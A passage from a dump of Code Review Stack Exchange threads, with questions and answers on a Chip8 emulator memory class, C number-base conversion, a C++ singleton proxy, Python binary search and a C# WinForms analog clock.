ram_[mem_ptr_++] = data;
return;
}
// Store 'n' bytes, starting at the next available index location
// 'n' is the size of the input vector
void Memory::store_bulk(uint16_t adr, std::vector<uint8_t> data){
// Validate address range. Need to check start address and end address
// end address is start address + vector size
check_adr_(adr);
check_adr_(adr+data.size());
// Set the memory pointer to the start address and iterate through input vector, storing each element in Memory
this->set_memory_pointer_(adr);
for(auto it = data.begin(); it != data.end(); ++it){
this->store_byte(*it);
}
}
}
</code></pre>
<p>I have compiled it, unit tested basic functions, and confirmed it works but any advice on how to improve the quality of this code is greatly appreciated. My goal is to use this as a small piece of my portfolio so I want to make sure everything is done as well as possible. </p>
| [] | [
{
"body": "<ul>\n<li>in the <code>Memory</code> c'tor, use the member initialization list to initialize <code>mem_ptr_</code></li>\n<li>in <code>check_adr</code> you can skip the check for <code>adr < 0</code></li>\n<li><p>Chip8.h doesn't make use of it's included headers. I'd move them to another file. I suspect <code><iostream></code> is used by the logger, why not putting the include there and save compilation units that don't require iostream from the effort including the header.</p></li>\n<li><p>in <code>read_short</code> you're calculating <code>ram_[adr+1] & 0xFF00</code>, which is <code>0</code> as <code>ram_[]</code> is <code>uint8_t</code></p></li>\n<li>check which functions don't modify the internal state of <code>Memory</code> and make them <code>const</code>, e.g. <code>get_memory_pointer</code> or <code>read_byte</code>.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T21:54:11.190",
"Id": "212718",
"ParentId": "212713",
"Score": "2"
}
},
{
"body": "<ul>\n<li><p>There is a curious asymmetry between <code>Memory::store_*</code> and <code>Memory::read_*</code>. The former uses <code>mem_ptr_</code>, while the latter does not.</p></li>\n<li><p>I understand that <code>mem_ptr_</code> is intended to model the <code>I</code> register. Please realize that it belongs to the <code>CPU</code> class, rather than <code>Memory</code>.</p></li>\n<li><p><code>read_bulk</code> returning a vector (and <code>store_bulk</code> taking a vector) does not look correct in this context. It seems that their purpose is emulating <code>Fx65</code> (and <code>Fx55</code> respectively) family of instructions. Yet again, these methods will only be called by CPU, which already knows where the data shall be read into (or written from). Just pass the pointer to the CPU regfile.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T23:29:51.283",
"Id": "212725",
"ParentId": "212713",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T20:03:07.833",
"Id": "212713",
"Score": "3",
"Tags": [
"c++",
"object-oriented"
],
"Title": "Chip8 emulator memory map"
} | 212713 |
<p>As an educational exercise, I would like to make this code more efficient, with fewer lines, without using other standard functions.</p>
<p>The goal here is to convert a number to X base and display it, (sample for hexadecimal) including 0x0 => 0, or 0x4096 => 4096.</p>
<pre><code>int print_hex(int number, int base)
{
int i;
int len;
char c;
char buffer[base];
if (!number)
{
putchar('0');
return 1;
}
i = 0;
while (i < base && number > 0)
{
c = "0123456789abcdef"[number % base];
buffer[i] = c;
number /= base;
i++;
}
buffer[i] = '\0';
len = i;
while (i--)
putchar(buffer[i]);
return (len);
}
</code></pre>
| [] | [
{
"body": "<p>Your code does not handle negative numbers. As it is, it will print nothing. The code should be changed to either handle the negatives properly, or take <code>number</code> as an unsigned where it is not an issue.</p>\n\n<p>Your use of <code>base</code> as the length of the array to store the converted number in is incorrect. A 32-bit integer will potentially need 32 characters to display the entire number, assuming no zero byte terminator (see below). <code>buffer</code> should be declared as a fixed size, large enough to hold the longest possible string. You could then eliminate the <code>i < base</code> check from your <code>while</code> loop.</p>\n\n<p>The initial check of <code>if (!number)</code> can be eliminated by changing your <code>while</code> loop into a <code>do</code>/<code>while</code> look.</p>\n\n<p>If you're looking for brevity in code lines, the body of the loop can be reduced to two statements, although it is more readable with three or four.</p>\n\n<p>The assignment of a 0 byte to the end of buffer is unnecessary in this context since you never pass <code>buffer</code> to a function that requires it.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T17:38:25.260",
"Id": "212761",
"ParentId": "212714",
"Score": "2"
}
},
{
"body": "<p>Seems strange to pass <code>base</code> and call the function <code>...hex...()</code>.</p>\n\n<p>Easier to use <code>unsigned</code> rather than <code>int</code>.</p>\n\n<p><code>if (!number)</code> block not needed if a <code>do {} while (number);</code> loop used.</p>\n\n<p><code>char buffer[base];</code> is the wrong sized buffer. Need is more like \"log(INT_MAX, base) + 1\".</p>\n\n<hr>\n\n<blockquote>\n <p>to make this code more efficient,</p>\n</blockquote>\n\n<p><strong>speed</strong>: Code is calling <code>putchar()</code> repetitively. The amount of processing there can well exceed all OP's code. Reducing I/O calls should be then the goal. E.g. Call <code>fputs()</code> once.</p>\n\n<pre><code>// a fast version\n\nint print_fast(unsigned number, unsigned base) {\n char buf[sizeof number * CHAR_BIT + 1];\n char *end = &buf[sizeof buf] - 1;\n *end = '\\0';\n do {\n end--;\n *end = \"0123456789abcdef\"[number % base];\n number /= base;\n } while (number);\n fputs(end, stdout);\n return (int) (&buf[sizeof buf] - end - 1);\n}\n</code></pre>\n\n<blockquote>\n <p>with fewer lines, </p>\n</blockquote>\n\n<p>See <a href=\"https://codegolf.stackexchange.com\">Code Golf</a> for such. Note that reducing lines often goes <em>against</em> efficiently.</p>\n\n<pre><code>// A terse recursive solution\n\nint print_terse(unsigned number, unsigned base) {\n int count = 1;\n if (number >= base) {\n count += print_short(number / base, base);\n }\n putchar(\"0123456789abcdef\"[number % base]);\n return count;\n}\n</code></pre>\n\n<blockquote>\n <p>without using other standard functions.</p>\n</blockquote>\n\n<p>Not possible. Some library I/O function needed.</p>\n\n<hr>\n\n<p>How about a full featured signed one?</p>\n\n<p>Note the buffer needs to be 34 for a 32 bit <code>int</code>.</p>\n\n<pre><code>#include <assert.h>\n#include <limits.h>\n#include <stdio.h>\n\nint print_int(int number, int base) {\n assert(base >= 2 && base <= 36);\n char buf[sizeof number * CHAR_BIT + 2];\n char *end = &buf[sizeof buf] - 1;\n *end = '\\0';\n\n // Form the negative absolute value\n // Negatives used to cope with `INT_MIN`\n int n = (number > 0) ? -number : number;\n\n do {\n end--;\n *end = \"0123456789abcdefghijklmnopqrstuvwxyz\"[-(n % base)];\n n /= base;\n } while (n);\n\n if (number < 0) {\n end--;\n *end = '-';\n }\n\n fputs(end, stdout);\n return (int) (&buf[sizeof buf] - end - 1);\n}\n\nint main(void) {\n printf(\" %d\\n\", print_int(0, 10));\n printf(\" %d\\n\", print_int(INT_MAX, 36));\n printf(\" %d\\n\", print_int(INT_MIN, 2));\n return 0;\n}\n</code></pre>\n\n<p>Output</p>\n\n<pre><code>0 1\nzik0zj 6\n-10000000000000000000000000000000 33\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-09T17:31:36.213",
"Id": "412342",
"Score": "0",
"body": "@ken Why did you select `number` as `int`, which is often 32-bit if your goal is 64-bit? Suggest for your **next** coding, if the goal is to \"display the numbers of 64 bits.\" use a type that is _at least_ 64-bit like `long long, unsigned long long, intmax_t, uintmax_t` or exactly 64-bit: `int64_t, uin64_t`. Also then be clear: are you working with signed or unsigned types?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-09T17:08:11.067",
"Id": "213147",
"ParentId": "212714",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "213147",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T20:12:23.457",
"Id": "212714",
"Score": "0",
"Tags": [
"c",
"reinventing-the-wheel",
"number-systems"
],
"Title": "Convert number to X base"
} | 212714 |
<p>I have a resource (e.g., current program configuration) that I want to handle in a single class instance, but want to hide the fact that there is, in effect, a singleton class by using a proxy class.</p>
<p>Reasons for not using a singleton directly include: don't want users of the class to have to change code if I move away from singleton implementation, and want to be able to have control over initialization and destruction order (which would be difficult with static classes, for example).</p>
<p>Additionally, this is a multithreaded application, so new instances of the Proxy class may be created at the same time (thus the mutex protecting creation of the Implementation).</p>
<p>The <code>Proxy</code> class is the proxy, and <code>Impl</code> class is the hidden singleton implementation. Note that I don't do anything special to <code>Impl</code> to make it a singleton. It is only a singleton because I track its existence in <code>Proxy</code> with a static member variable.</p>
<p><strong>Proxy.h</strong></p>
<pre class="lang-cpp prettyprint-override"><code>#pragma once
#include <memory>
class Proxy {
public:
Proxy();
void method1() //inline dispatch to hidden single class
{
data_->method1();
}
private:
class Impl { //this class will be created once only
public:
void method1();
Impl();
~Impl() = default;
};
std::shared_ptr<Impl> Make_Impl() const;
const std::shared_ptr<Impl> data_{};
inline static std::weak_ptr<Impl> impls_{}; //tracks whether Impl is created
};
</code></pre>
<p><strong>Proxy.cpp</strong></p>
<pre class="lang-cpp prettyprint-override"><code>#include "Proxy.h"
#include <mutex>
Proxy::Proxy() : data_(Make_Impl()) {}
std::shared_ptr<Proxy::Impl> Proxy::Make_Impl() const
{ // note that impls_ may be accessed by another thread with non-const member function
// (assignment) if it is running slightly ahead of this thread with an uninitialized impls_ so
// need mutex before shared_ptr.lock call. if we use an atomic weak pointer (C++20) can call
// shared_ptr.lock before mutex, check for success, and only run mutex (and try lock again) after
// failure
static std::mutex mtx;
auto lock = std::lock_guard(mtx);
std::shared_ptr<Impl> internal_data = impls_.lock(); //if implementation exists, assign to shared_ptr
if (!internal_data) { //need to create implementation
const auto new_impl(std::make_shared<Impl>());
internal_data = new_impl;
impls_ = new_impl;
}
return internal_data;
}
Proxy::Impl::Impl()
{
// constructor for Impl here
}
void Proxy::Impl::method1()
{
// the real method1 for the implementation
}
</code></pre>
<p>General comments welcome. Specific questions include: </p>
<ul>
<li>is there a way to eliminate the pointer dereference that will occur with each call intended for the underlying implementation? (For example, When Proxy::method1 is called, that redirects to the underlying singleton class.)</li>
<li>Instead of using a static weak_ptr, is there a better way of tracking whether the Implementation exists?</li>
<li>Have others done anything like this? I'm concerned that I haven't seen this pattern (with smart pointers) documented anywhere. It makes me feel like I've gone "off the rails" with this code and have overlooked some problems with this approach.</li>
</ul>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T03:49:47.677",
"Id": "411481",
"Score": "0",
"body": "There's no stopping some users from having to change their code in response to you changing yours. Admittedly, those are users you'll probably never keep happy. (You noticed the value was always the same so you optimized it by calling the routine once and caching it forever? Sigh.)"
}
] | [
{
"body": "<p>Without locking, this works for me:</p>\n\n<pre><code>class proxy\n{\npublic:\n proxy()\n : m_impl(make_impl()) {}\n\n void method()\n {\n m_impl.method();\n }\nprivate:\n struct Impl\n {\n Impl() {}\n ~Impl() {}\n void method() {}\n };\n\n Impl& m_impl;\n Impl& make_impl()\n {\n static Impl impl;\n return impl;\n }\n};\n</code></pre>\n\n<p>When locking, you need to synchronize access to the static <code>impl</code> in <code>make_impl</code> <strong>and</strong> you need to secure the call to <code>m_impl.method()</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T22:44:34.570",
"Id": "411473",
"Score": "0",
"body": "Nice. My only concern is destruction--my understanding is that Impl::impl inside Impl::make_impl (and thus the single instance of Impl) will be destroyed at the end of the program in an unspecified order in relation to other statics. This may cause problems with my model -- e.g., I hold open an error log file until everything else is destroyed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T22:50:31.910",
"Id": "411474",
"Score": "0",
"body": "statics are destructed in the reverse order of their creation. So, if your logger has a dependecy on the proxy you just need to ensure that the proxy is created first."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T16:01:19.003",
"Id": "411514",
"Score": "1",
"body": "Just a small thing: when locking you do NOT need a lock in `make_impl()` with any modern C++ compiler."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T18:43:55.757",
"Id": "411974",
"Score": "0",
"body": "@rsjaffe The order of destruction is very deterministic and well defined (Reverse of creation). You can use this fact to force a destruction order. See: https://stackoverflow.com/a/335746/14065"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T22:13:08.827",
"Id": "212719",
"ParentId": "212717",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "212719",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T21:17:57.813",
"Id": "212717",
"Score": "2",
"Tags": [
"c++",
"c++17",
"singleton"
],
"Title": "Proxy to hide singleton implementation"
} | 212717 |
<p><code>y</code> is the value I am searching for. Is this the correct implementation for binary search?</p>
<pre><code>y= 3
x= range(0,100)
left = 0
right = len(x)-1
mid=int((left+right)/2)
while x[mid]!=y:
if x[mid]>y:
right = mid
mid=int((left+right)/2)
if x[mid]<y:
left = mid
mid=int((left+right)/2)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T06:59:52.647",
"Id": "411491",
"Score": "1",
"body": "If you're using this code elsewhere and not implementing for the exercise, you should use the [`bisect` module](https://docs.python.org/3.7/library/bisect.html), which has functions which do this for you."
}
] | [
{
"body": "<h2>PEP-8</h2>\n\n<p><a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP-8</a> is a style guide for Python.\nIt contains several practices which you should follow, like having spaces around operators. Use a tool, like pylint, to ensure you follow these practices.</p>\n\n<h2>Integer Division</h2>\n\n<pre><code>mid=int((left+right)/2)\n</code></pre>\n\n<p>Python comes with a built-in integer division operator: <code>//</code>. You should use it.</p>\n\n<pre><code>mid = (left + right) // 2\n</code></pre>\n\n<h2>Termination</h2>\n\n<pre><code>while x[mid] != y:\n</code></pre>\n\n<p>You are searching until you find the desired value. What if the desired value is not present? You will search forever??? Consider adding a different stopping condition.</p>\n\n<h2>Redundancy</h2>\n\n<pre><code> if x[mid]>y:\n #...\n mid=int((left+right)/2)\n if x[mid]<y:\n #...\n mid=int((left+right)/2)\n</code></pre>\n\n<p>Since you are looping while <code>x[mid] != y</code>, your only real choices are for <code>x[mid] > y</code> or <code>x[mid] < y</code>. Instead of testing the second condition, how about using <code>else:</code>?</p>\n\n<p>Since you enter will either the <code>x[mid] > y</code> then clause, or the <code>x[mid] < y</code> then clause, you will always be executing <code>mid=int((left+right)/2)</code>. You can safely move those two statements out if the <code>if</code>, and unconditionally execute it at the end. As in:</p>\n\n<pre><code> if x[mid] > y:\n #...\n else:\n #...\n mid = (left + right) // 2\n</code></pre>\n\n<h2>Efficiency</h2>\n\n<p>If you start with <code>left=0, right=99, mid=49</code>, and find <code>x[mid]>y</code> is true, you proceed to search in the range <code>left=0, right=49</code>. But you've already tested <code>x[49]</code> and found the value wasn't there; you don't need to include it in your search range anymore. Similarly, when you find <code>x[mid]<y</code>, you don't need to include that <code>mid</code> point as the <code>left</code> end of your range.</p>\n\n<pre><code> if x[mid] > y:\n right = mid - 1\n else:\n left = mid + 1\n</code></pre>\n\n<h2>Bug</h2>\n\n<p>Your existing algorithm will not terminate for certain numbers. If you search for <code>99</code>, the value of <code>mid</code> will take on the following values:</p>\n\n<pre><code>49, 74, 86, 92, 95, 97, 98, 98, 98, 98, 98, 98, 98, 98, ...\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T23:20:51.697",
"Id": "212723",
"ParentId": "212720",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "212723",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T22:23:09.237",
"Id": "212720",
"Score": "0",
"Tags": [
"python",
"python-3.x",
"binary-search"
],
"Title": "Binary search a sorted list of integers in Python 3"
} | 212720 |
<h1>Extremely rough and laggy clock</h1>
<p>I purposely made the timer interval less than a second in hopes for making things
run smoothly but it even worsened the situation! I thought of making
the seconds hand run on milliseconds but it still didn't do the job
and there was difference between the clock and the label text.</p>
<pre><code>public Form1()
{
InitializeComponent();
timer1.Interval = 500;
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
this.Invalidate();
this.label1.Text = String.Format("{0}:{1}:{2}",clockTime.Hour,clockTime.Minute,clockTime.Second);
}
DateTime clockTime = DateTime.Now;
int cirDia = 200;
public void Form1_Paint(object sender, PaintEventArgs e)
{
clockTime = DateTime.Now;
Pen secHand = new Pen(Color.Green, 1);
Pen minHand = new Pen(Color.Black, 2);
Pen hourHand = new Pen(Color.Red, 3);
Graphics canvas = e.Graphics;
float centerX = this.ClientRectangle.Width / 2;
float centerY = this.ClientRectangle.Height / 2;
canvas.DrawEllipse(Pens.Aqua, centerX - cirDia / 2, centerY - cirDia / 2, cirDia, cirDia);
float secX = 100 * (float)Math.Cos(Math.PI / -2 + (2 * clockTime.Second * Math.PI) / 60) + centerX;
float secY = 100 * (float)Math.Sin(Math.PI / -2 + (2 * clockTime.Second * Math.PI) / 60) + centerY;
float minX = 80 * (float)Math.Cos(Math.PI / -2 + (2 * clockTime.Minute * Math.PI) / 60) + centerX;
float minY = 80 * (float)Math.Sin(Math.PI / -2 + (2 * clockTime.Minute * Math.PI) / 60) + centerY;
float hourX = 70 * (float)Math.Cos(Math.PI / -2 + (2 * clockTime.Hour * Math.PI) / 12) + centerX;
float hourY = 70 * (float)Math.Sin(Math.PI / -2 + (2 * clockTime.Hour * Math.PI) / 12) + centerY;
canvas.DrawLine(secHand, centerX, centerY, secX, secY);
canvas.DrawLine(minHand, centerX, centerY, minX, minY);
canvas.DrawLine(hourHand, centerX, centerY, hourX, hourY);
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T22:58:26.613",
"Id": "411475",
"Score": "3",
"body": "`Pen` and `Graphics` implement `IDisposable` and therefore all four declarations should be wrapped in `using` constructs."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T03:43:59.440",
"Id": "411722",
"Score": "1",
"body": "@JesseC.Slicer Disposing that Graphics will have bad effects on the rendering of that form."
}
] | [
{
"body": "<h2>Timer</h2>\n\n<p>The clock-face and label are 'out of sync' because <code>Invalidate()</code> does <em>not</em> cause the window to draw immediately, so <code>clockTime = DateTime.Now;</code> is not run before the label updates: this means the label is always 1 timer-tick behind the face. You can sovle this either by updating <code>clockTime</code> in the timer (I'd recommend), or by replacing <code>this.Invalidate()</code> with <code>this.Refresh()</code> which <em>does</em> force the painting straight away (it's a kind of dodgy method, since painting has to go through the message pump, but you are already occupying that thread...).</p>\n\n<p>You probably want to increase the tick frequency further, as timers are notoriously inaccurate, and updating every 500ms means that at some point there will be a 500ms or 1500ms delay between hand movements, which will not look good. I would suggest updating <code>clockTime</code> in <code>timer1_Tick</code> before doing anything else (you could even check if a re-draw is necessary, so that you don't actually perform any update is the second counter hasn't changed).</p>\n\n<pre><code>private void timer1_Tick(object sender, EventArgs e)\n{\n clockTime = DateTime.Now;\n this.label1.Text = String.Format(\"{0}:{1}:{2}\", clockTime.Hour, clockTime.Minute, clockTime.Second);\n this.Refresh();\n}\n</code></pre>\n\n<h2>Flicker</h2>\n\n<p>When I run your code, the clock-face flickers when it renders. The quick and easy solution to this is to enable Double Buffering on the form. This means that when you do the painting, you are painting on an 'off-screen' canvas, which is copied onto the screen when it is completed (the flicker is it being show after the control is cleared, but before the hands are drawn). You can always implement your own double-buffering, but there is no need for such complexity here.</p>\n\n<pre><code>this.DoubleBuffered = true;\n</code></pre>\n\n<h2>Drawing Hands</h2>\n\n<p>You have a lot of similar looking code here, which is just begging to be put into a method.</p>\n\n<pre><code>float secX = 100 * (float)Math.Cos(Math.PI / -2 + (2 * clockTime.Second * Math.PI) / 60) + centerX;\nfloat secY = 100 * (float)Math.Sin(Math.PI / -2 + (2 * clockTime.Second * Math.PI) / 60) + centerY;\n// etc.\n</code></pre>\n\n<p>Each line is computing how far round the hand went, turning this into radians, offseting that angle by <code>-pi/2</code>, and then computing the <code>x</code> or <code>y</code> displacement accordingly, multiplied by the hand length, and offset by the center. That's a lot to repeat on 6 lines. How about a <code>DrawHand</code> method?</p>\n\n<p>Instead of inlining all the logic, we can separate out the bit that is concerned with drawing the hand from the bit that is concerned with working out how far round the hand has gone.</p>\n\n<pre><code>private static void DrawHand(Graphics g, PointF center, Pen pen, float handLength, float handProgress)\n{\n // compute angle from handProgress\n double angleRadians = (Math.PI / -2 + (2 * handProgress * Math.PI));\n\n // determine x and y displacements from center\n float endX = handLength * (float)Math.Cos(angleRadians) + center.X;\n float endY = handLength * (float)Math.Sin(angleRadians) + center.Y;\n\n // draw line with given pen\n g.DrawLine(pen, center.X, center.Y, endX, endY);\n}\n</code></pre>\n\n<h2><code>Form1_Paint</code></h2>\n\n<p>As Jesse C. Slicer has already commented, you should be disposing your <code>Pen</code> objects (but NOT the <code>Graphics</code> object when you receive it from an event!). The most tidy way to do this is to use <code>using</code> blocks, which define the scope of the object and dispose it for you even if an exception is thrown. Putting this together with <code>DrawHand</code> method, you might have something like this:</p>\n\n<pre><code>public void Form1_Paint(object sender, PaintEventArgs e)\n{\n Graphics canvas = e.Graphics;\n\n float centerX = this.ClientRectangle.Width / 2;\n float centerY = this.ClientRectangle.Height / 2;\n PointF center = new PointF(centerX, centerY);\n\n canvas.DrawEllipse(Pens.Aqua, centerX - circleDiameter / 2, centerY - circleDiameter / 2, circleDiameter, circleDiameter);\n\n using (Pen secHand = new Pen(Color.Green, 1))\n using (Pen minHand = new Pen(Color.Black, 2))\n using (Pen hourHand = new Pen(Color.Red, 3))\n {\n DrawHand(canvas, center, secHand, 100f, clockTime.Second / 12f);\n DrawHand(canvas, center, minHand, 80f, clockTime.Minute / 60f);\n DrawHand(canvas, center, hourHand, 70f, clockTime.Hour / 12f);\n }\n}\n</code></pre>\n\n<p>Note how much cleaner and clearer the bit that draws the hand is: you could can spot the bug in seconds (pun intended) because this code only says <em>what</em> to draw, not <em>how</em> to draw it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T10:56:55.093",
"Id": "411499",
"Score": "6",
"body": "@downvoter it's in everybody's interests that you tell us what is wrong/misleading/disagreeable in this post"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T01:17:12.813",
"Id": "212728",
"ParentId": "212722",
"Score": "9"
}
},
{
"body": "<p>You should give your controls, properties, fields and methods descriptive names instead of using the default names given by the designer - for instance:</p>\n\n<p><code>timer1</code> could be <code>WatchTimer</code></p>\n\n<p><code>label1</code> could be <code>NumericDisplay</code></p>\n\n<p>etc.</p>\n\n<hr>\n\n<p>You should split the paint event handler into sub methods handling each part of the display:</p>\n\n<pre><code>public void MainForm_Paint(object sender, PaintEventArgs e)\n{\n DrawDial(e);\n DrawHands(e);\n}\n</code></pre>\n\n<hr>\n\n<p>You can optimize different things:</p>\n\n<p>The pens are never changed, so they are candidates for instance fields instead of being recreated each time they are used.</p>\n\n<pre><code> public partial class MainForm : Form\n {\n Pen _secHandPen = new Pen(Color.Green, 1);\n Pen _minHandPen = new Pen(Color.Black, 2);\n Pen _hourHandPen = new Pen(Color.Red, 3);\n ...\n</code></pre>\n\n<p>You then have to remember to dispose of them when disposing the form (<code>Dispose()</code> can befound in \"Form.Designer.cs\"):</p>\n\n<pre><code>/// <summary>\n/// Clean up any resources being used.\n/// </summary>\n/// <param name=\"disposing\">true if managed resources should be disposed; otherwise, false.</param>\nprotected override void Dispose(bool disposing)\n{\n if (disposing)\n {\n if (components != null)\n components.Dispose();\n\n DisposePen(ref _secHandPen);\n DisposePen(ref _minHandPen);\n DisposePen(ref _hourHandPen);\n }\n base.Dispose(disposing);\n}\n\nprivate void DisposePen(ref Pen pen)\n{\n if (pen != null)\n {\n pen.Dispose();\n pen = null;\n }\n}\n</code></pre>\n\n<p>The dimensions and center of the hands and the dial only change when the size of the form changes, so create the needed class fields and handle changes in the <code>Form_SizedChanged</code> event handler:</p>\n\n<pre><code>private void MainForm_SizeChanged(object sender, EventArgs e)\n{\n SetDimensions();\n Refresh();\n}\n\nprivate void SetDimensions()\n{\n _center = new PointF(ClientSize.Width / 2, ClientSize.Height / 2);\n _watchDiameter = (int)((ClientSize.Height - NumericDisplay.Height < ClientSize.Width ? ClientSize.Height - NumericDisplay.Height : ClientSize.Width) * 0.9);\n}\n</code></pre>\n\n<p>Here <code>_center</code> and <code>_watchDiameter</code> are defined as class fields:</p>\n\n<pre><code>DateTime _clockTime = DateTime.Now;\n\nPointF _center;\nint _watchDiameter = 200;\n</code></pre>\n\n<p>And <code>NumericDisplay (label1)</code> is docked to the bottom of the form, so when calculating the optimal watch size its height must be considered.</p>\n\n<hr>\n\n<p>All in all a refactor of your form including the above and some of VisualMelons suggestions could be:</p>\n\n<pre><code> public partial class MainForm : Form\n {\n DateTime _clockTime = DateTime.Now;\n\n PointF _center;\n int _watchDiameter = 200;\n\n Pen _secHandPen = new Pen(Color.Green, 1);\n Pen _minHandPen = new Pen(Color.Black, 2);\n Pen _hourHandPen = new Pen(Color.Red, 3);\n\n public MainForm()\n {\n InitializeComponent();\n\n SetDimensions();\n\n WatchTimer.Enabled = true;\n WatchTimer.Interval = 500;\n WatchTimer.Start();\n }\n\n private void WatchTimer_Tick(object sender, EventArgs e)\n {\n _clockTime = DateTime.Now;\n NumericDisplay.Text = _clockTime.ToLongTimeString(); // String.Format(\"{0:00}:{1:00}:{2:00}\", _clockTime.Hour, _clockTime.Minute, _clockTime.Second);\n Refresh();\n }\n\n void DrawDial(PaintEventArgs e)\n {\n e.Graphics.DrawEllipse(Pens.DarkBlue, _center.X - _watchDiameter / 2, _center.Y - _watchDiameter / 2, _watchDiameter, _watchDiameter);\n }\n\n void DrawHands(PaintEventArgs e)\n {\n DrawHand(e, _hourHandPen, (int)(_watchDiameter * 0.3), _clockTime.Hour, 12);\n DrawHand(e, _minHandPen, (int)(_watchDiameter * 0.45), _clockTime.Minute, 60);\n DrawHand(e, _secHandPen, (int)(_watchDiameter * 0.45), _clockTime.Second, 60);\n }\n\n void DrawHand(PaintEventArgs e, Pen pen, int offset, int timeValue, int denom)\n {\n PointF end = GetEnd(offset, timeValue, denom);\n e.Graphics.DrawLine(pen, _center, end);\n }\n\n PointF GetEnd(int offset, int timeValue, int denom)\n {\n double angle = Math.PI / -2 + (2 * timeValue * Math.PI) / denom;\n\n return new PointF(\n offset * (float)Math.Cos(angle) + _center.X,\n offset * (float)Math.Sin(angle) + _center.Y);\n }\n\n public void MainForm_Paint(object sender, PaintEventArgs e)\n {\n DrawDial(e);\n DrawHands(e);\n }\n\n private void MainForm_SizeChanged(object sender, EventArgs e)\n {\n SetDimensions();\n Refresh();\n }\n\n private void SetDimensions()\n {\n _center = new PointF(ClientSize.Width / 2, ClientSize.Height / 2);\n _watchDiameter = (int)((ClientSize.Height - NumericDisplay.Height < ClientSize.Width ? ClientSize.Height - NumericDisplay.Height : ClientSize.Width) * 0.9);\n }\n }\n</code></pre>\n\n<p>For completeness here is the designer code with the updated names and event handlers etc.:</p>\n\n<pre><code> partial class MainForm\n {\n /// <summary>\n /// Required designer variable.\n /// </summary>\n private System.ComponentModel.IContainer components = null;\n\n /// <summary>\n /// Clean up any resources being used.\n /// </summary>\n /// <param name=\"disposing\">true if managed resources should be disposed; otherwise, false.</param>\n protected override void Dispose(bool disposing)\n {\n if (disposing)\n {\n if (components != null)\n components.Dispose();\n\n DisposePen(ref _secHandPen);\n DisposePen(ref _minHandPen);\n DisposePen(ref _hourHandPen);\n }\n base.Dispose(disposing);\n }\n\n private void DisposePen(ref Pen pen)\n {\n if (pen != null)\n {\n pen.Dispose();\n pen = null;\n }\n }\n\n #region Windows Form Designer generated code\n\n /// <summary>\n /// Required method for Designer support - do not modify\n /// the contents of this method with the code editor.\n /// </summary>\n private void InitializeComponent()\n {\n this.components = new System.ComponentModel.Container();\n this.WatchTimer = new System.Windows.Forms.Timer(this.components);\n this.NumericDisplay = new System.Windows.Forms.Label();\n this.SuspendLayout();\n // \n // WatchTimer\n // \n this.WatchTimer.Tick += new System.EventHandler(this.WatchTimer_Tick);\n // \n // NumericDisplay\n // \n this.NumericDisplay.Dock = System.Windows.Forms.DockStyle.Bottom;\n this.NumericDisplay.Location = new System.Drawing.Point(0, 437);\n this.NumericDisplay.Name = \"NumericDisplay\";\n this.NumericDisplay.Size = new System.Drawing.Size(800, 13);\n this.NumericDisplay.TabIndex = 0;\n this.NumericDisplay.Text = \"09:41:37\";\n this.NumericDisplay.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;\n // \n // TheForm\n // \n this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);\n this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n this.ClientSize = new System.Drawing.Size(800, 450);\n this.Controls.Add(this.NumericDisplay);\n this.DoubleBuffered = true;\n this.Name = \"MainForm\";\n this.Text = \"Watch\";\n this.SizeChanged += new System.EventHandler(this.MainForm_SizeChanged);\n this.Paint += new System.Windows.Forms.PaintEventHandler(this.MainForm_Paint);\n this.ResumeLayout(false);\n\n }\n\n #endregion\n\n private System.Windows.Forms.Timer WatchTimer;\n private System.Windows.Forms.Label NumericDisplay;\n }\n</code></pre>\n\n<hr>\n\n<p>There are still a couple of \"magic numbers\" in the code:</p>\n\n<pre><code>void DrawHands(PaintEventArgs e)\n{\n DrawHand(e, _hourHandPen, (int)(_watchDiameter * 0.3), _clockTime.Hour, 12);\n DrawHand(e, _minHandPen, (int)(_watchDiameter * 0.45), _clockTime.Minute, 60);\n DrawHand(e, _secHandPen, (int)(_watchDiameter * 